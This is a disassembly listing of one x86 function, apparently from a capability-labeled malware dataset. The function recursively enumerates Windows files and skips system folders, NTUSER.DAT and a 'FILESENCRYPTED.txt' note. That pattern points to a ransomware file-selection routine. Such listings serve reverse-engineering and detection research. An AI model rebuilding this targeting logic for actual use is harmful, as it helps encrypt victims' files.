Function at 0x40da10
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x564235
mov eax, dword fs:[0]
push eax
sub esp, 0x47c
mov eax, dword [0x5db100]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0xf4]
push 0x5cde38
mov edx, esi
mov dword [ebp - 0x3f8], esi
call fcn.00417350
add esp, 4
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x3ec]
cmp dword [ebp - 0xe0], 8
lea eax, [ebp - 0xf4]
push ecx
cmovae eax, dword [ebp - 0xf4]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40e79d
xorps xmm0, xmm0
mov dword [ebp - 0xbc], 0
movq qword [ebp - 0xc4], xmm0
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0
mov byte [ebp - 4], 1
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
nop dword [eax]
test byte [ebp - 0x3ec], 0x10
je 0x40db05
push 0x5cde40
lea eax, [ebp - 0x3c0]
push eax
call edi
test eax, eax
je 0x40e727
push 0x5cde44
lea eax, [ebp - 0x3c0]
push eax
call edi
test eax, eax
je 0x40e727
xor eax, eax
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x30], 0
mov word [ebp - 0x40], ax
cmp word [ebp - 0x3c0], ax
jne 0x40db26
xor ecx, ecx
jmp 0x40db3f
lea ecx, [ebp - 0x3c0]
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40db30
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x40]
call fcn.00415030
push 0x5cd9a8
mov edx, esi
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x58]
call fcn.00417350
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 3
push ecx
mov edx, eax
lea ecx, [ebp - 0x70]
call fcn.00417460
add esp, 8
mov esi, eax
lea eax, [ebp - 0xf4]
cmp eax, esi
je 0x40dbca
mov eax, dword [ebp - 0xe0]
cmp eax, 8
jb 0x40dba1
inc eax
lea ecx, [ebp - 0xf4]
push eax
push dword [ebp - 0xf4]
call fcn.00416520
xor eax, eax
mov dword [ebp - 0xe0], 7
push esi
lea ecx, [ebp - 0xf4]
mov dword [ebp - 0xe4], 0
mov word [ebp - 0xf4], ax
call fcn.00415310
mov eax, dword [ebp - 0x5c]
cmp eax, 8
jb 0x40dbdf
inc eax
lea ecx, [ebp - 0x70]
push eax
push dword [ebp - 0x70]
call fcn.00416520
xor eax, eax
mov dword [ebp - 0x5c], 7
mov word [ebp - 0x70], ax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x60], 0
cmp eax, 8
jb 0x40dc08
inc eax
lea ecx, [ebp - 0x58]
push eax
push dword [ebp - 0x58]
call fcn.00416520
xor eax, eax
mov byte [ebp - 4], 1
mov word [ebp - 0x58], ax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x44], 7
mov dword [ebp - 0x48], 0
cmp eax, 8
jb 0x40dc35
inc eax
lea ecx, [ebp - 0x40]
push eax
push dword [ebp - 0x40]
call fcn.00416520
push 0x50
lea eax, [ebp - 0x19c]
push 0
push eax
call fcn.0053a6d0
add esp, 0xc
lea ecx, [ebp - 0x19c]
call fcn.00411120
lea eax, [ebp - 0xf4]
mov byte [ebp - 4], 5
push eax
lea eax, [ebp - 0xdc]
push eax
lea ecx, [ebp - 0x19c]
call fcn.00410b20
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xdc]
cmp dword [ebp - 0xc8], 0x10
mov eax, dword [ebp - 0xcc]
cmovae ecx, dword [ebp - 0xdc]
add eax, ecx
cmp dword [ebp - 0xc8], 0x10
lea ecx, [ebp - 0xdc]
mov esi, eax
cmovae ecx, dword [ebp - 0xdc]
xor edx, edx
sub esi, ecx
cmp ecx, eax
cmova esi, edx
test esi, esi
je 0x40dcc1
cmp byte [ecx], 0x5c
jne 0x40dcbb
mov byte [ecx], 0x2f
inc edx
inc ecx
cmp edx, esi
jne 0x40dcb3
sub esp, 0x18
mov ecx, esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x14], 0xf
cmp dword [ecx + 0x14], 0x10
mov dword [ecx + 0x10], 0
jb 0x40dcec
mov eax, dword [ecx]
jmp 0x40dcee
mov eax, ecx
push 0xffffffffffffffff
mov byte [eax], 0
lea eax, [ebp - 0xdc]
push 0
push eax
call fcn.004044a0
lea ecx, [ebp - 0x488]
call fcn.0040b740
add esp, 0x18
push eax
push 0x5ca06c
push ecx
sub esp, 0x18
mov byte [ebp - 4], 7
mov ecx, esp
mov byte [ebp - 0x3f1], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x14], 0xf
cmp dword [ecx + 0x14], 0x10
mov dword [ecx + 0x10], 0
jb 0x40dd4c
mov eax, dword [ecx]
jmp 0x40dd4e
mov eax, ecx
push 0xffffffffffffffff
mov byte [eax], 0
lea eax, [ebp - 0xdc]
push 0
push eax
call fcn.004044a0
mov dl, byte [ebp - 0x3f1]
lea ecx, [ebp - 0x470]
call fcn.0040b880
add esp, 0x1c
push eax
push 0x5cddd4
sub esp, 0x18
mov byte [ebp - 4], 8
mov ecx, esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x14], 0xf
cmp dword [ecx + 0x14], 0x10
mov dword [ecx + 0x10], 0
jb 0x40ddaa
mov eax, dword [ecx]
jmp 0x40ddac
mov eax, ecx
push 0xffffffffffffffff
mov byte [eax], 0
lea eax, [ebp - 0xdc]
push 0
push eax
call fcn.004044a0
lea ecx, [ebp - 0x458]
call fcn.0040b660
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x440]
call fcn.00417040
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x428]
call fcn.004174d0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x410]
call fcn.00417040
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x28]
call fcn.004174d0
add esp, 4
mov eax, dword [ebp - 0x3fc]
cmp eax, 0x10
jb 0x40de38
inc eax
lea ecx, [ebp - 0x410]
push eax
push dword [ebp - 0x410]
call fcn.00404a80
mov dword [ebp - 0x3fc], 0xf
mov dword [ebp - 0x400], 0
mov byte [ebp - 0x410], 0
mov eax, dword [ebp - 0x414]
cmp eax, 0x10
jb 0x40de71
inc eax
lea ecx, [ebp - 0x428]
push eax
push dword [ebp - 0x428]
call fcn.00404a80
mov dword [ebp - 0x414], 0xf
mov dword [ebp - 0x418], 0
mov byte [ebp - 0x428], 0
mov eax, dword [ebp - 0x42c]
cmp eax, 0x10
jb 0x40deaa
inc eax
lea ecx, [ebp - 0x440]
push eax
push dword [ebp - 0x440]
call fcn.00404a80
mov dword [ebp - 0x42c], 0xf
mov dword [ebp - 0x430], 0
mov byte [ebp - 0x440], 0
mov eax, dword [ebp - 0x444]
cmp eax, 0x10
jb 0x40dee3
inc eax
lea ecx, [ebp - 0x458]
push eax
push dword [ebp - 0x458]
call fcn.00404a80
mov dword [ebp - 0x444], 0xf
mov dword [ebp - 0x448], 0
mov byte [ebp - 0x458], 0
mov eax, dword [ebp - 0x45c]
cmp eax, 0x10
jb 0x40df1c
inc eax
lea ecx, [ebp - 0x470]
push eax
push dword [ebp - 0x470]
call fcn.00404a80
mov dword [ebp - 0x45c], 0xf
mov dword [ebp - 0x460], 0
mov byte [ebp - 0x470], 0
mov byte [ebp - 4], 0x13
mov eax, dword [ebp - 0x474]
cmp eax, 0x10
jb 0x40df59
inc eax
lea ecx, [ebp - 0x488]
push eax
push dword [ebp - 0x488]
call fcn.00404a80
test byte [ebp - 0x3ec], 0x10
mov dword [ebp - 0x474], 0xf
mov dword [ebp - 0x478], 0
mov byte [ebp - 0x488], 0
je 0x40e28c
lea ecx, [ebp - 0x88]
call fcn.0040ad10
push str.:___
mov edx, eax
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x70]
call fcn.00417040
add esp, 4
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x74]
cmp eax, 0x10
jb 0x40dfc1
inc eax
lea ecx, [ebp - 0x88]
push eax
push dword [ebp - 0x88]
call fcn.00404a80
push str.Windows
lea edx, [ebp - 0x70]
mov dword [ebp - 0x74], 0xf
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x78], 0
mov byte [ebp - 0x88], 0
call fcn.00417090
push str.WINDOWS
lea edx, [ebp - 0x70]
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x58]
call fcn.00417090
push str.ProgramData
lea edx, [ebp - 0x70]
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0xb8]
call fcn.00417090
push str.Boot
lea edx, [ebp - 0x70]
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0xa0]
call fcn.00417090
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 0x10
push str.All_Users
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.0053a460
add esp, 0x18
test eax, eax
jne 0x40e1a6
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
push str.AppData
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.0053a460
add esp, 8
test eax, eax
jne 0x40e1a6
cmp dword [ebp - 0xa4], 0x10
lea ecx, [ebp - 0xb8]
lea eax, [ebp - 0x28]
cmovae ecx, dword [ebp - 0xb8]
cmp dword [ebp - 0x14], 0x10
push ecx
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.0053a460
add esp, 8
test eax, eax
jne 0x40e1a6
cmp dword [ebp - 0x8c], 0x10
lea ecx, [ebp - 0xa0]
lea eax, [ebp - 0x28]
cmovae ecx, dword [ebp - 0xa0]
cmp dword [ebp - 0x14], 0x10
push ecx
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.0053a460
add esp, 8
test eax, eax
jne 0x40e1a6
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
push str.NTUSER.DAT
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.0053a460
add esp, 8
test eax, eax
jne 0x40e1a6
cmp dword [ebp - 0x44], 0x10
lea ecx, [ebp - 0x58]
lea eax, [ebp - 0x28]
cmovae ecx, dword [ebp - 0x58]
cmp dword [ebp - 0x14], 0x10
push ecx
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.0053a460
add esp, 8
test eax, eax
jne 0x40e1a6
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
push str.FILESENCRYPTED.txt
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.0053a460
add esp, 8
test eax, eax
jne 0x40e1a6
cmp dword [ebp - 0x2c], 0x10
lea ecx, [ebp - 0x40]
lea eax, [ebp - 0x28]
cmovae ecx, dword [ebp - 0x40]
cmp dword [ebp - 0x14], 0x10
push ecx
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.0053a460
add esp, 8
test eax, eax
jne 0x40e1a6
sub esp, 0x18
lea eax, [ebp - 0xdc]
mov esi, esp
push 0x5ca11c
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004026f0
lea ecx, [ebp - 0x88]
call fcn.0040b660
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x1b
mov ecx, esi
call fcn.00417040
add esp, 4
call fcn.0040d670
add esp, 0x18
lea ecx, [ebp - 0x88]
call fcn.004025d0
mov eax, dword [ebp - 0x8c]
cmp eax, 0x10
jb 0x40e1c4
inc eax
lea ecx, [ebp - 0xa0]
push eax
push dword [ebp - 0xa0]
call fcn.00404a80
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x8c], 0xf
mov dword [ebp - 0x90], 0
mov byte [ebp - 0xa0], 0
cmp eax, 0x10
jb 0x40e1fd
inc eax
lea ecx, [ebp - 0xb8]
push eax
push dword [ebp - 0xb8]
call fcn.00404a80
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xa4], 0xf
mov dword [ebp - 0xa8], 0
mov byte [ebp - 0xb8], 0
cmp eax, 0x10
jb 0x40e22d
inc eax
lea ecx, [ebp - 0x58]
push eax
push dword [ebp - 0x58]
call fcn.00404a80
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x44], 0xf
mov dword [ebp - 0x48], 0
mov byte [ebp - 0x58], 0
cmp eax, 0x10
jb 0x40e254
inc eax
lea ecx, [ebp - 0x40]
push eax
push dword [ebp - 0x40]
call fcn.00404a80
mov byte [ebp - 4], 0x13
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], 0
mov byte [ebp - 0x40], 0
cmp eax, 0x10
jb 0x40e27f
inc eax
lea ecx, [ebp - 0x70]
push eax
push dword [ebp - 0x70]
call fcn.00404a80
test byte [ebp - 0x3ec], 0x10
jne 0x40e6a0
sub esp, 0x18
mov ecx, esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x14], 0xf
cmp dword [ecx + 0x14], 0x10
mov dword [ecx + 0x10], 0
jb 0x40e2b7
mov eax, dword [ecx]
jmp 0x40e2b9
mov eax, ecx
push 0xffffffffffffffff
mov byte [eax], 0
lea eax, [ebp - 0xdc]
push 0
push eax
call fcn.004044a0
lea ecx, [ebp - 0x88]
call fcn.0040b740
add esp, 0x18
mov ecx, 0x5e7018
cmp dword [0x5e702c], 0x10
cmovae ecx, dword [0x5e7018]
lea edx, [eax + 0x10]
cmp dword [eax + 0x14], 0x10
jb 0x40e2f8
mov eax, dword [eax]
push dword [0x5e7028]
mov edx, dword [edx]
push ecx
mov ecx, eax
call fcn.00415380
mov ecx, dword [ebp - 0x74]
add esp, 8
mov esi, eax
cmp ecx, 0x10
jb 0x40e328
inc ecx
push ecx
push dword [ebp - 0x88]
lea ecx, [ebp - 0x88]
call fcn.00404a80
test esi, esi
je 0x40e697
lea ecx, [ebp - 0x88]
call fcn.0040ad10
push str.:___
mov edx, eax
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x70]
call fcn.00417040
add esp, 4
mov byte [ebp - 4], 0x1e
mov eax, dword [ebp - 0x74]
cmp eax, 0x10
jb 0x40e370
inc eax
lea ecx, [ebp - 0x88]
push eax
push dword [ebp - 0x88]
call fcn.00404a80
push str.Windows
lea edx, [ebp - 0x70]
mov dword [ebp - 0x74], 0xf
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x78], 0
mov byte [ebp - 0x88], 0
call fcn.00417090
push str.WINDOWS
lea edx, [ebp - 0x70]
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0xb8]
call fcn.00417090
push str.ProgramData
lea edx, [ebp - 0x70]
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x58]
call fcn.00417090
push str.Boot
lea edx, [ebp - 0x70]
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x40]
call fcn.00417090
mov byte [ebp - 4], 0x22
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 0x10
push str.All_Users
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.0053a460
add esp, 0x18
test eax, eax
jne 0x40e5be
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
push str.AppData
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.0053a460
add esp, 8
test eax, eax
jne 0x40e5be
cmp dword [ebp - 0x44], 0x10
lea ecx, [ebp - 0x58]
lea eax, [ebp - 0x28]
cmovae ecx, dword [ebp - 0x58]
cmp dword [ebp - 0x14], 0x10
push ecx
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.0053a460
add esp, 8
test eax, eax
jne 0x40e5be
cmp dword [ebp - 0x2c], 0x10
lea ecx, [ebp - 0x40]
lea eax, [ebp - 0x28]
cmovae ecx, dword [ebp - 0x40]
cmp dword [ebp - 0x14], 0x10
push ecx
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.0053a460
add esp, 8
test eax, eax
jne 0x40e5be
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
push str.NTUSER.DAT
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.0053a460
add esp, 8
test eax, eax
jne 0x40e5be
cmp dword [ebp - 0xa4], 0x10
lea ecx, [ebp - 0xb8]
lea eax, [ebp - 0x28]
cmovae ecx, dword [ebp - 0xb8]
cmp dword [ebp - 0x14], 0x10
push ecx
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.0053a460
add esp, 8
test eax, eax
jne 0x40e5be
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
push str.FILESENCRYPTED.txt
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.0053a460
add esp, 8
test eax, eax
jne 0x40e5be
cmp dword [ebp - 0x8c], 0x10
lea ecx, [ebp - 0xa0]
lea eax, [ebp - 0x28]
cmovae ecx, dword [ebp - 0xa0]
cmp dword [ebp - 0x14], 0x10
push ecx
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.0053a460
add esp, 8
test eax, eax
jne 0x40e5be
push 0x50
push eax
lea eax, [ebp - 0x14c]
push eax
call fcn.0053a6d0
add esp, 0xc
lea ecx, [ebp - 0x14c]
call fcn.00410c60
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 0x23
push eax
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x14c]
call fcn.00410b60
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x3f0], fcn.0040c7c0
push eax
lea edx, [ebp - 0x3f0]
movq qword [ebp - 0xfc], xmm0
lea ecx, [ebp - 0xfc]
call fcn.00417650
add esp, 4
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0xfc]
test ecx, ecx
je 0x40e5a8
or eax, 0xffffffff
lock xadd dword [ecx + 4], eax
jne 0x40e5a8
mov edx, dword [ecx + 0x78]
test edx, edx
je 0x40e5a2
mov eax, dword [edx]
push ecx
mov ecx, edx
jmp 0x40e5a6
mov eax, dword [ecx]
push 1
call dword [eax]
lea ecx, [ebp - 0x88]
call fcn.004125b0
lea ecx, [ebp - 0x14c]
call fcn.00410ba0
mov eax, dword [ebp - 0x2c]
cmp eax, 0x10
jb 0x40e5d3
inc eax
lea ecx, [ebp - 0x40]
push eax
push dword [ebp - 0x40]
call fcn.00404a80
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], 0
mov byte [ebp - 0x40], 0
cmp eax, 0x10
jb 0x40e5fa
inc eax
lea ecx, [ebp - 0x58]
push eax
push dword [ebp - 0x58]
call fcn.00404a80
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x44], 0xf
mov dword [ebp - 0x48], 0
mov byte [ebp - 0x58], 0
cmp eax, 0x10
jb 0x40e62a
inc eax
lea ecx, [ebp - 0xb8]
push eax
push dword [ebp - 0xb8]
call fcn.00404a80
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0xa4], 0xf
mov dword [ebp - 0xa8], 0
mov byte [ebp - 0xb8], 0
cmp eax, 0x10
jb 0x40e663
inc eax
lea ecx, [ebp - 0xa0]
push eax
push dword [ebp - 0xa0]
call fcn.00404a80
mov byte [ebp - 4], 0x13
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x8c], 0xf
mov dword [ebp - 0x90], 0
mov byte [ebp - 0xa0], 0
cmp eax, 0x10
jb 0x40e697
inc eax
lea ecx, [ebp - 0x70]
push eax
push dword [ebp - 0x70]
call fcn.00404a80
test byte [ebp - 0x3ec], 0x10
je 0x40e6b2
lea eax, [ebp - 0xf4]
push eax
lea ecx, [ebp - 0xc4]
call fcn.00411560
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x40e6c7
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.00404a80
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
cmp eax, 0x10
jb 0x40e6f7
inc eax
lea ecx, [ebp - 0xdc]
push eax
push dword [ebp - 0xdc]
call fcn.00404a80
lea ecx, [ebp - 0x19c]
mov dword [ebp - 0xc8], 0xf
mov dword [ebp - 0xcc], 0
mov byte [ebp - 0xdc], 0
mov byte [ebp - 4], 1
call fcn.00411060
mov esi, dword [ebp - 0x3f8]
lea eax, [ebp - 0x3ec]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40dad0
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ebx, dword [ebp - 0xc4]
mov esi, ebx
mov edi, dword [ebp - 0xc0]
cmp ebx, edi
je 0x40e766
push esi
call fcn.0040da10
add esi, 0x18
add esp, 4
cmp esi, edi
jne 0x40e756
test ebx, ebx
je 0x40e79d
push dword [ebp - 0x3f8]
mov edx, edi
push ecx
mov ecx, ebx
call fcn.00418870
mov ecx, dword [ebp - 0xbc]
mov eax, 0x2aaaaaab
sub ecx, ebx
add esp, 8
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
push eax
push ebx
call fcn.00416180
mov eax, dword [ebp - 0xe0]
cmp eax, 8
jb 0x40e7bb
inc eax
lea ecx, [ebp - 0xf4]
push eax
push dword [ebp - 0xf4]
call fcn.00416520
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00448b50
mov esp, ebp
pop ebp
ret